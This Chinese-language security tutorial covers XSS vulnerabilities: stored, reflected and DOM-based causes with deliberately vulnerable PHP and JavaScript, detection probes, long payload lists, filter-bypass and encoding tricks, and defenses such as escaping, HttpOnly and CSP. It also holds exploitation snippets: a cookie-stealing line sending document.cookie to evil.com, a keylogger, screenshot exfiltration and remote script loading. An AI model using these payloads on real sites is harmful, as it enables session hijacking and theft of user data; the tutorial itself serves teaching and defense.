首页 > 其他 > 详细

XSS 注入漏洞

时间:2020-05-09 19:56:32      阅读:61      评论:0      收藏:0      [点我收藏+]

漏洞描述

XSS 漏洞,又名 CSS 漏洞(Cross Site Script),跨站脚本攻击,它指的是恶意攻击者向 Web 页面插入恶意 Js 代码,当用户浏览该网页时,嵌入其中 Web 里面的 Js 代码会被执行,从而达到恶意的特殊目的

成因分析

存储型

原理

攻击者在页面插入 XSS 代码,服务端将数据存入数据库,当用户访问到存在 XSS 漏洞的页面时,服务端从数据库中取出数据展示到页面上,导致 XSS 代码执行,达到攻击效果

持久型 XSS 一般出现在网站的留言、评论、博客日志等交互处

技术分享图片

实例

<?php
mysql_connect(‘localhost‘,‘root‘,‘‘);
mysql_select_db("test");
mysql_query("utf8");
if(isset($_POST[‘submit‘])) {
    $title=$_POST[‘title‘];
    $con=$_POST[‘con‘];
    $sql="insert into book(id,title,con)values(NULL,‘$title‘,‘$con‘);";
    if(mysql_query($sql)){}
} else {
    $sql="select * from book";
    $row=mysql_query($sql);
    while($rows=mysql_fetch_array($row)) {
        echo $rows["id"].$rows[‘title‘].$rows[‘con‘]."</br>";
    }
}
?>
<form action="1.php" method="post">
    <input type="text" name="title"/>
    <input type="text" name="con"/>
    <input type="submit" name="submit"/>
 </form>

反射型

原理

攻击者在 URL 中插入 XSS 代码,服务端将 URL 中的 XSS 代码输出到页面上,反射型 XSS 需要攻击者将含有 XSS 的 URL 发送给用户,用户打开特定 URL 造成 XSS 攻击

技术分享图片

实例


DOM 型

原理

攻击和在页面/URL中输入 XSS 代码,前端 JS 脚本通过 DOM 操作动态修改页面内容,获取 XSS 代码,并输出到页面,导致 XSS 代码的执行

实例

<div id="output"></div>
<input type="text" id="text" value="">
<button onclick="clickme()">Click me</button>

<script>
    function clickme() {
        var input = document.getElementById("text").value;
        var output = document.getElementById("output");
        output.innerHTML = "<a href=‘" + input + "‘>testLink</a>"
    }
</script>

白盒审计

前端

写入函数

  1. 使用 document.write 直接输出导致浏览器解析恶意代码
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title></title>
        <script type="text/javascript">
            var s=location.search;         
            s=s.substring(1,s.length);   
            var url="";                   
            if(s.indexOf("url=")>-1){    
                var pos=s.indexOf("url=")+4; 
                url=s.substring(pos,s.length); 
            }else{
                url="url参数为空";
            }
            document.write("url: <a href=‘"+url+"‘>"+url+"</a>"); 
        </script>
    </head>
    <body>
    </body>
</html>
   [url]http://127.0.0.1/xsstest.html?url=‘<script>alert[/url](‘xsstest‘)</script>
   [url]http://127.0.0.1/xsstest.html?url=<script>alert[/url](‘xsstest‘)</script>
   [url]http://127.0.0.1/xsstest.html?url=javascript:alert[/url](/xsstest/) (点击触发)

内置属性

  1. 使用 innerHTML 直接输出导致浏览器解析恶意代码

    <!DOCTYPE html>
    <html>
        <head>
            <meta charset="utf-8">
            <title></title>
            <script type="text/javascript">
                var s=location.search; 
                s=s.substring(1,s.length); 
                var url="";
                if(s.indexOf("url=")>-1){ 
                    var pos=s.indexOf("url=")+4;
                    url=s.substring(pos,s.length);
                }else{
                    url="url参数为空";
                }
            </script>
        </head>
        <body>
            <span id=‘test‘><a href=""></a></span>
            <script type="text/javascript">document.getElementById("test").innerHTML="我的url是: <a href=‘"+url+"‘>"+url+"</a>"; </script>
        </body>
    </html>
    
    payload1:[url]http://127.0.0.1/xsstest2.html?url=‘<img[/url] src="x"></img>
    payload2:[url]http://127.0.0.1/xsstest2.html?url=javascript:alert[/url](/xsstest/) (点击触发)
    
  2. 使用 location/location.href/location.replace/iframe.src 造成的XSS

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title></title>
        <script type="text/javascript">
            var s=location.search;          //返回URL中的查询部分(?之后的内容)
            s=s.substring(1,s.length);    //返回整个查询内容
            var url="";                     //定义变量url
            if(s.indexOf("url=")>-1){       //判断URL是否为空
                var pos=s.indexOf("url=")+4;  //过滤掉"url="字符
                url=s.substring(pos,s.length); //得到地址栏里的url参数
                // }else{                        //此处注释掉
                //   url="url参数为空";          //此处注释掉
            }
        </script>
    </head>
    <body>
        <span id=‘test‘><a href=""></a></span>
        <script type="text/javascript">location.href=url</script>
    </body>
</html>
[url=http://127.0.0.1/xsstest3.html?url=javascript:alert]http://127.0.0.1/xsstest3.html?url=javascript:alert[/url](/xsstest/)

回调函数

  1. 使用 setTimeout/setInterval 造成的XSS
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title></title>
        <script type="text/javascript">
            var s = location.search;          
            s = s.substring(1,s.length);
            var url = ""; 
            if(s.indexOf("url=")>-1) {
                var pos = s.indexOf("url=")+4;
                url = s.substring(pos,s.length);
            } else {
                url = "url参数为空";
            }
        </script>
    </head>
    <body>
        <textarea id="test" rows="8" cols="40">2s获取url</textarea>
        <script type="text/javascript">
            function showURL(url){
                document.getElementById(‘test‘).value=url;
            }
            if(url != "url参数为空")
                setTimeout("showURL(‘"+url+"‘)", 2000);
            //setInterval("showURL(‘"+url+"‘)",3000);
        </script>
    </body>
</html>
[url=http://127.0.0.1/xsstest4.html?url=]http://127.0.0.1/xsstest4.html?url=‘[/url]);alert("xsstest");eval(‘

执行函数

eval() 函数

后端

PHP

存储型

  • 无防护型
<?php

if( isset( $_POST[ ‘btnSign‘ ] ) ) {
    // Get input
    $message = trim( $_POST[ ‘mtxMessage‘ ] );
    $name    = trim( $_POST[ ‘txtName‘ ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ );

    //mysql_close();
}

?>
  • 过滤防护

<?php

if( isset( $_POST[ ‘btnSign‘ ] ) ) {
    // Get input
    $message = trim( $_POST[ ‘mtxMessage‘ ] );
    $name    = trim( $_POST[ ‘txtName‘ ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ );

    //mysql_close();
}

?>
  • 转义防护

<?php

if( isset( $_POST[ ‘btnSign‘ ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );

    // Get input
    $message = trim( $_POST[ ‘mtxMessage‘ ] );
    $name    = trim( $_POST[ ‘txtName‘ ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( ‘INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );‘ );
    $data->bindParam( ‘:message‘, $message, PDO::PARAM_STR );
    $data->bindParam( ‘:name‘, $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

反射型

  • 无防护型
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
    // Feedback for end user
    echo ‘<pre>Hello ‘ . $_GET[ ‘name‘ ] . ‘</pre>‘;
}
?>
  • 过滤防护
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
    // Get input
    $name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $_GET[ ‘name‘ ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>
  • 转义防护
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );

    // Get input
    $name = htmlspecialchars( $_GET[ ‘name‘ ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>

黑盒检测

注入位置

XSS 攻击的前提是注入代码到用户页面,而 XSS 的注入位置通常决定了注入时使用的闭合手法和利用手法

标签属性

特点

构造的内容被输出到 HTML 页面标签的属性中

案例

echo ‘<a href="/?‘ . $_GET[‘a‘] . ‘">属性注入 - 未实体化</a><br>‘; 

说明

对于属性型注入,有两种选择:

  1. 对原属性,使用 " 进行闭合,注入新事件属性
【payload】a=" onclick="alert(1)						# 增加属性
  1. 对原属性,使用 ‘/"> 进行闭合,并注入新标签
【payload】a="><script>alert(1)</script>				# 增加标签

标签内容

特点

构造的内容被输出到 HTML 页面的内容中

案例

echo ‘<div>‘. $_GET[‘xx‘].‘ 内容注入-未实体化</div>‘;		// 情形1
echo ‘<title> XSS测试‘ . $_GET[‘title‘] . ‘</title>‘;		// 情形2 

说明

对于内容型注入,可能面临两种情况:

  1. 构造的内容被普通元素标签包裹

    此类标签内部支持内嵌其他标签,因此对于此类型可以直接构造标签,无需闭合

【payload】xx=<script>alert(1)</script>
  1. 构造的内容被特殊标签 RCDATA 型标签包裹(如 <title><textarea>

    此类标签不允许内部插入其他标签,只允许容纳文本和字符引用,因此需要先对此类标签进行闭合,再插入其他标签

【payload】title=</title><script>alert(1)</script><title>

CSS 样式

特点

构造的内容被输出到 CSS 样式中

案例

echo htmlspecialchars($_GET[‘style‘]);

说明

<div style="{left: expression(alert(‘xss‘))}"></div> //仅IE有效
<style type="text/css">@import url(http://www.xx.css)</style>
    
body {
	event: expression (
        onload = function() {
            alert(‘XSS‘);
        }
	)
}

备注:expression()表达式在IE7及以下是有效的,在IE8及以上就失效了

JS 脚本

注释注入

检测探针

  1. 利用 XSS 定位器
”;!–”<XSS>=&{()}
  1. 查看页面源码是否存在 <XSS&lt;XSS

属性型

内容型

根据HTML规范,标签名称必须以字母开头。利用此规范,可以使用以下探针来确定用于匹配标签名称的正则表达式

标签探针 说明
<svg 无检查
<dev <[a-z]
x<dev ^<[a-z]+
<dEv <[a-zA-Z]+
<d3V <[a-zA-Z]+
<d|3v <.+
填充符探针 说明
<tag xxx 无检查
<tag%09xxx [\s]
<tag%09%09xxx \s+
<tag/xxx [\s/]+
<tag%0axxx [\s\n]+
<tag%0dxxx [\s\n\r]+
<tag/~/xxx .*+
事件属性探针 说明
tag{filter}onclick on(load|click|error|show...)
tag{filter}onxxx on\w+

参考:https://github.com/s0md3v/MyPapers/tree/master/Bypassing-XSS-detection-mechanisms

有效载荷

通过标签引入

利用 script 标签,直接引入 js 脚本

内部引入

<script>
    alert(1)
</script>

外部引入

<script src="http://www.hack.com/xss.js"></script>

通过事件引入

利用特殊标签所支持的事件属性执行 JS 代码

事件属性 说明 备注
onafterprint
onbeforeprint
onbeforeunload
onerror
onhachange
onunload
onundo
onmessage
onblur
onselect
onkeydown
onkeypress
onkeyup
onafterprint
onbeforeprint
onbeforeunload
onerror
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
标签 常用事件
input onfoucs
body onpageshow
style onload
marquee onbounce、onfinish、onstart
audio/video oncanplay、ondurationchange、onended、onloadeddata、onloadedmetadata、onloadstart、onprogress、onsuspend
details
svg
button
select
input
kegen
textarea
video
<body onpageshow=alert(1)>
<style onload=alert(1) />
<marquee onstart=alert(1)>hack the planet</marquee>
<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee>
<marquee loop="1" onfinish=alert(1)>hack the planet</marquee>
<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" />
<audio ondurationchange=alert(1) src="/media/hack-the-planet.mp3" />
<audio autoplay=true onended=alert(1) src="/media/hack-the-planet.mp3" />
<audio onloadeddata=alert(1) src="/media/hack-the-planet.mp3" />
<audio onloadedmetadata=alert(1) src="/media/hack-the-planet.mp3" />
<audio onloadstart=alert(1) src="/media/hack-the-planet.mp3" />
<audio onprogress=alert(1) src="/media/hack-the-planet.mp3" />
<audio onsuspend=alert(1) src="/media/hack-the-planet.mp3" />
<video oncanplay=alert(1) src="/media/hack-the-planet.mp4" />
<video ondurationchange=alert(1) src="/media/hack-the-planet.mp4" />
<video autoplay=true onended=alert(1) src="/media/hack-the-planet.mp4" />
<video onloadeddata=alert(1) src="/media/hack-the-planet.mp4" />
<video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" />
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
<video onprogress=alert(1) src="/media/hack-the-planet.mp4" />
<video onsuspend=alert(1) src="/media/hack-the-planet.mp4" />

<details open ontoggle=propot(1)>
<button onfocus=prompt(1) autofocut>
<select autofocus onfocus=prompt(1)>
<input autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/lte">
<kegen autofocut onfoucs=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/lte">
<textarea autofocut onfoucs=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/lte">
<video onkeyup=setTimeout`al\x53t\x28/2/\x29```

<details open ontoggle=top.alert(1)>
<details open ontoggle=top[‘prompt’](1)>
<details open ontoggle=top[‘al’%2b’ert’](1)> 
<details open ontoggle=[1].find(alert)>
<details open ontoggle=[1].%65very(alert)>
<details open ontoggle=[1].u0066orEach(alert)>
<details open ontoggle=top.eval(‘ale’%2B’rt(1)’) >
       
<svg onmouseover=setInterval`alx65rtx28/xss/x29```>
<svg onmouseover=setTimeout`alx65rtx28/xss/x29```>
<svg onmouseover=Set.constructor`alx65rtx28/xss/x29```>
<svg onmouseover=u0063lear.constructor`alx65rtx28/xss/x29```>
       
<input autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
<keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
<textarea autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">

<svg onxxx = xxx>,<marquee onxxx = xxx>,<audio onxxx = xxx>
        
<img src="#" onerror="alert(/XSS/)">
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src="#" onerror=s=createElement(‘script‘);body.appendChild(s);s.src=‘xss.js‘;>

<x oncopy = alert(‘XSS‘)>复制这个
        
        alert()prompt()confirm()
等待!让我们升级他们!
alert`` prompt`` confirm``
让我们更进一步的升级!
(alert)``(prompt)``(confirm)``

通过协议引入

利用特殊标签的特殊属性,加载 JS 代码,常用属性如 href、src、lowsrc、bgsound、value、action、dynsrc

标签 属性 说明
a href 支持 javascript 协议
iframe src 支持 data、javascript 协议
object data 支持 data 协议

javascript 协议

<a href="javascript:alert(1)">x</a>
<iframe src="javascript:alert(1)" style="display: none;"></iframe>

data 协议

data:[数据类型][;charset=<charset>][;base64],编码数据
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

攻击利用

https://evilcos.me/lab/xssor/

http://xssor.io/#codz

会话劫持

利用跨域标签携带 cookie

var img = document.createElement("img");
img.src = ‘http://www.evil.com/?‘ + escape(document.cookie);
docuemnt.body.appendChild(img);

信息截取

信息截取通常需要加载外部 JS 文件,常用的 payload 如下

setTimeout(function() {
    var d = document;
    var a = d.createElement(‘script‘);
    a.setAttribute(‘src‘,‘/scripts/screenshot.js‘);
    d.head.appendChild(a);
}, 1000)

编码为十进制数后为如下格式:

<img src="/media/hack-the-planet.jpg" onload=eval(String.fromCharCode(115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,97,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,101,116,65,116,116,114,105,98,117,116,101,40,39,115,114,99,39,44,39,47,115,99,114,105,112,116,115,47,115,99,114,101,101,110,115,104,111,116,46,106,115,39,41,59,100,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59,125,44,49,48,48,48,41)) />

键盘记录

document.addEventListener(‘keypress‘, function (event) {
    var xhr = new XMLHttpRequest()
    xhr.open(‘POST‘, ‘/keylogger‘)
    xhr.setRequestHeader(‘Content-Type‘, ‘application/x-www-form-urlencoded‘)
    xhr.send(‘data=‘ + event.key)
})

屏幕数据

html2canvas(document.querySelector("body")).then(canvas => {
    var xhr = new XMLHttpRequest()
    xhr.open(‘POST‘, ‘/screenshot‘)
    xhr.setRequestHeader(‘Content-Type‘, ‘application/x-www-form-urlencoded‘)
    xhr.send(‘data=‘ + encodeURIComponent(canvas.toDataURL()))
});

环境信息

获取用户真实 IP

  • 如果用户安装了 jre 环境,可以通过调用 Java.Applet 接口获取客户端 IP 地址

识别用户浏览器

alert(navigator.userAgent);

技术分享图片

识别用户安装的软件

  • IE 中可以通过判断 ActiveX 控件的 classid 是否存在,来推测用户是否安装了该软件
try {
    var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper‘)
} catch (e) {
    
}
  • Firefox 使用 chrome 协议,检测扩展是否存在
var m =  new Image();
m.onload = function() {
    alert(1);
}
m.onerror = function() {
    alert(2);
}
m.src = "chrome://flashgot/skin/icon32.png"

社工攻击

攻击者可以创建和网站登录页面一模一样的钓鱼页面,以假乱真,形成有效攻击。毕竟,大部份受害者只要看到正确的域名,就不会对登录页面产生太多质疑。比如,可以被构造用来向用户发送提示通知,告诉用户需要通过某个号码去联系客户支持部门,如果这种提示显示在和用户访问的目标网站相同的域名上,那么其可信度就相当高了,只要用户拨通所谓的客户部门电话,个人敏感信息就会被攻击者轻易获得

XSRF 攻击

防御方式

过滤防御

XSS 防御速查表,https://www.freebuf.com/articles/web/156622.html

转义防御

转义防御是最常用的防御 XSS 攻击的方式,html 转义是将特殊字符或 html 标签转换为与之对应的字符,具体的转义函数通常由语言本身提供

理论上,应保证如下位置数据必须进行转义:

  1. 将不可信数据插入HTML常规属性前将属性进行转义
  2. 将不可信数据插入JavaScript数据值时对 JavaScript 转义
  3. 将不可信数据插入HTML样式属性前对CSS进行转义和严格验证
  4. 将不可信数据插入HTML URL参数值前对 URL 进行转义

PHP

在 PHP 中可以使用 htmlspecialchars() 函数或 htmlentites() 函数将字符实体编码,其中 htmlspecialchars() 只转换 & 、’、 “、 <、> 这 5 个特殊符号,而 htmlentites() 会转化所有的 HTML 代码

原始字符 转义实体 备注
& &amp;
" &quot;
&apos; &#039; PHP 默认只转义双引号,不转义单引号
< &lt;
> &gt;
$str = ‘><\‘"&aa你好‘;
echo  $str . "\n";		

// &gt;&lt;‘&quot;&amp;aa 你好
echo  htmlspecialchars($str) . "\n";			
// &gt;&lt;&#039;&quot;&amp;aa 你好
echo  htmlspecialchars($str, ENT_QUOTES) . "\n";	
// &gt;&lt;‘&quot;&amp;aa &auml;&frac12;&nbsp;&aring;&yen;&frac12;
echo htmlentities($str) . "\n";
// &gt;&lt;&#039;&quot;&amp;aa 你好
echo htmlentities($str, ENT_QUOTES, "utf-8") . "\n";

备注:包含中文时,一般使用 htmlspecialchars,因为直接使用 htmlentites 会输出乱码,需要明确指定编码才可使用

注意:PHP 中 htmlspecialcharshtmlentites 函数都默认不会对单引号进行实体化,除非明确指定转换参数 ENT_QUOTES

配置防御

HttpOnly

HttpOnly 是一种防御 XSS 攻击的手段,如果 cookie 信息中设置了 HttpOnly 属性,则通过 js 脚本将无法读取该 cookie 信息。HttpOnly 可以很好的保护用户 cookie 不被转发窃取,但并不能完全防御 XSS 攻击的其他利用形式,如 XSS + CSRF 攻击直接修改用户密码达到窃取用户身份的目的

Content-Type

使用特定的 Content-Type 响应头,可以阻止浏览器进行 JS 解析

以 AJAX JSON 格式的前后端交互为例,应确保系统返回的 Content-Type 头部是application/json 而不是 text/html,这保证了浏览器不会误解内容并执行注入代码

典型案例

HTTP/1.1 200
Date: Wed, 06 Feb 2013 10:28:54 GMT
Server: Microsoft-IIS/7.5....
Content-Type: text/html; charset=utf-8 <-- 错误
Content-Length: 373
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

{"Message":"No HTTP resource was found that matches the request URI ‘dev.net.ie/api/pay/.html?HouseNumber=9&AddressLine=The+Gardens<script>alert(1)</script>&AddressLine2=foxlodge+woods&TownName=Meath‘.","MessageDetail":"No type was found that matches the controller named ‘pay‘."}   <--脚本将会执行!!

正确案例

HTTP/1.1 200
Date: Wed, 06 Feb 2013 10:28:54 GMT
Server: Microsoft-IIS/7.5....
Content-Type: application/json; charset=utf-8 <--正确

.....

CSP

浏览器端的方案,它允许你为你的Web应用客户端资源创建一个白名单,限制范围包括JavaScript、CSS、图像等等。CSP(ContentSecurity Policy)通过特定的HTTP头部告诉浏览器只执行或呈现指定来源的内容。CSP的示例如下:

Content-Security-Policy: default-src: ‘self‘; script-src: ‘self‘ static.domain.tld

上面的示例会告诉浏览器只加载来源是当前域的资源,对于JavaScript文件则除当前域外,可以额外从static.domain.tld加载

绕过方法

过滤绕过

过滤绕过能否

同义法

因为过滤了括号,所以使用``(反引号进行利用):

"javascript:","vbscript:","data:"

HTML 标签属性支持不添加属性引号(浏览器会自动补充引号)

关键字拆分

利用回车、空格、Tab 键绕过(js 自动会略空白)

<img src="javas 
          cript:alert(/xss/)" width=100>

编码绕过

HTML 属性值支持编码,可将响应 ASCII 字符转换为相应实体编码,分为 HEX 实体编码和 DEC 实体编码


<img src=1 onerror=&#118;&#98;&#115;&#58;msgbox+1>

<body onload=`vbs:execScript"alert(0)","&#x6a;avascript"`></body>

备注:Tab符 &#9,换行符 &#10,回车符&#13,可以被插入代码任意地方,可以将 &#01、&#02 等字符插入到 Javascript 或 Vbscript 的头部

全角字符绕过

<xss style="xss:expreesion(alert(‘XSS‘))">
<div style="{left:}"

注释符绕过

<xss style="xss:expr/*XSS*/ession(alert(‘XSS‘))">
<div style="wid/****/th: expre/*XSS*/ssion(alert(‘XSS‘))"

结束符绕过

样式标签中的 \ 和结束符 \0 会自动被浏览器忽略

@\0im\port‘\0ja\vasc\ript:alert("xss")
@\i\0m\00p\000o\0000\00000r\000000t"url"

样式标签中的属性值支持转码

<p style="xss:\64xpression(alert(/XSS/))">

利用注释

输入框要求输入特定的关键字,才能成功提交

注释相关关键字

javascri&#x0070;t:alert(1)/*http://www.baidu.com*/
javasc&#x0072;ipt: http://www.xixi.com alert(1)
onmouseover
autofocus onfocus
//

利用替代关键字

# 当 script、on 关键字不可用时,可先闭合标签,再利用 a 标签弹出
"> <a href="javascript:alert(‘test‘)">link</a>

大小写绕过

将关键词大小写,绕过检测

<iMG sRC="jaVasCript:alert(0);">

双写绕过

将关键词双写拼接,绕过单次过滤


单双引号绕过

<img src=‘javascript:alert(0);‘>
<img src=javascript:alert(0);>
<img/src="javascript:alert(0);">

编码法

使用编码法有如下几点需要注意:

  1. 不能对标签名进行编码
  2. 不能对 HTML 属性名进行编码

HTML

一个基本的 HTML 结构如下所示:

<标签 属性名=‘属性值‘>内容</标签>

浏览器支持对 HTML 的属性值和内容进行 HTML 实体编码,但不支持对标签名、属性名、结构符号进行编码

<h1 id=x&lt;y>1&AMP;2</h1>

实体编码格式

HTML 标签的实体编码格式有如下特性:

  • 支持实体代码格式,必须以 & 开头,如 &lt;
  • 支持十六进制格式的实体编码,必须以 &#x 开头,如 &#x3C;
  • 支持十进制格式,必须以 &# 开头,如 &#60;
  • 支持数字部分高位补0,如 &#0000000060;&#x000003C;
  • 支持末尾的省略分号,如 &lt&#x3C
  • 支持字符大小写,如 &LT;&#x3c
<!-- 实体编码格式测试 -->
<h1>1 &lt; 2 &#x3C; 3 &#60; 4 &#x3c 5 &#000060 6</h1>

注意:由于 HTML 实体编码,发生于浏览器 HTML DOM 树解析后,无论在哪个位置进行实体编码,都无法改变已有的浏览器 DOM 树,即用于注入标签、属性等,但可用于躲避 WAF 检查

常用 payload

<img src=# onerror=alert(/xss/)>
<img src=# oneeror=&#x65;val("\x61x6cert(/xss/)")>
<img src="#" onerror="&#97&#108&#101&#114&#116&#40&#50&#41">
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

备注:在线实体编码 http://www.toolzl.com/tools/htmlende.html

Javascript

标识编码格式

JS 中的标识名 (变量名/函数名等)支持 unicode 编码,要求必须以 \u 开始,必为为四位16进制,但需要注意的是,不能对控制字符进行编码,如 .()

name = "12345";

console.log(name);
\u0063\u006f\u006e\u0073\u006f\u006c\u0065.\u006c\u006f\u0067(\u006e\u0061\u006d\u0065);

备注:在线 Unicode 编码:http://www.jsons.cn/unicode/

字符串编码格式

  • 支持八进制,必须以 \ 开始,必须为两位

  • 支持十六进制,必须以 \x 开始,必须为两位(\x)

  • 支持 unicode 编码,要求必须以 \u 开始,必为为四位16进制

console.log("a")
console.log("\u6001")
console.log("\141")
console.log("\x61")
eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")
eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")

备注:在线 ASCII 转换工具

https://www.mokuge.com/tool/asciito16/

http://ctf.ssleye.com/jinzhi.html

常用 payload

<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
 document.write(‘\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x70\x6F\x72\x75\x69\x6E\x27\x29\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E‘);

注意:HTML 的事件属性中支持 JS 脚本,因此既可以使用 JS 编码,又可以使用 HTML 实体。script 标签块内却不支持 HTML 实体引用,但支持 js 编码

href

在 a 标签等的 href 属性中,支持对其该属性进行 URL 编码,但需要注意,如果需要使用 javascript 协议,不支持对协议名进行编码

<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>
<a href="javascript:%61%6c%65%72%74%28%32%29"></a>
<a href="javascript:%alert(2)"></a>

混淆法

  1. 利用 eval 和 String.fromCharCode 函数
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
  1. 利用 eval 函数和 replace 函数
eval(‘~a~le~rt~~(~~1~~)~‘.replace(/~/g, ‘‘))
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
  1. 利用 JS 特性避免直接对 eval 进行调用
(1, eval)(‘alert(1)‘)				// 利用括号
eval.call(null, ‘alert(1)‘)			// 录用call
function xxx () {					// 利用函数
  alert(1)
}
new Function(‘alert(1)‘)()			// 利用Funtion对象

备注:JS 在线混淆 https://www.css-js.com/tools/compressor.html?tab=jspacker

特性法

利用 Boyer-Moore 算法特点构造错误标签

<<SCRIPT>alert(“XSS”);//<</SCRIPT> 

利用不同浏览器引擎的解析差异进行绕过

  • FireFox 的 HTML解析器认为 HTML 关键词后不能有非字母非数字字符,并且认为这是一个空白或在 HTML 标签后的无效符号,但一些 XSS 过滤器可能认为它们要查找的标签标记会被空白字符分隔
